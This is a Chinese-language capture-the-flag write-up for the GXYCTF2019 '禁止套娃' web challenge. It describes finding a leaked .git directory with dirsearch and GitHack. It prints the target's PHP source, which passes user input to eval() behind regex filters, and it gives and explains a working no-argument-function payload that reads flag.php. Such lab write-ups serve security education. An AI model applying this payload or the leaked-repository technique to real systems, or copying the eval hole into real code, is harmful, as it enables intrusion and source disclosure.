題目連結:[GXYCTF2019]禁止套娃。
開啟環境後如下所示。
經過檢視請求包及響應包,均未發現有相關提示,因此使用 CTF Web 常用的字典進行目錄掃描(不推薦使用太大的字典)。
這裡使用的工具是 dirsearch,掃描發現存在 .git 目錄。
因此使用工具 GitHack 來提取可能存在的洩露的原始碼。
得到的 index.php 原始碼如下。
<?php
include "flag.php";
echo "flag在哪裡呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("還差一點哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("還想讀flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
...
<?php
include "flag.php";
echo "flag在哪裡呢?<br>";
if(isset($_GET['exp'])){
// exp 引數中不能出現 data:// filter:// php:// phar://
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
// 匹配一個函式呼叫結構,類似於:func(arg),或巢狀的 func(func(arg)),也就是說,僅可傳入無參函式
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
// exp 函式中不能出現 et、na、...
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("還差一點哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("還想讀flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
也就是說,要構造一個無參的 Payload,下面先給出最終的 Payload。
Payload:?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
。
首先是 localeconv 函式,返回一個包含本地數字及貨幣格式資訊的陣列,而且陣列中的第一個元素就是 .
。
其次是 current 函式,返回陣列中當前元素的值。
即,透過 localeconv 函式與 current 函式的配合,成功獲取了字元:.
。
隨後,透過 scandir 函式來檢視當前存在的目錄檔案,即如下。
可以發現,flag.php 在陣列中的位置為倒數第二個,因此使用 array_reverse 函式與 next 函式來定位到字串:flag.php
,最終,使用 highlight_file 列印出 flag.php 檔案的原始碼。
如下。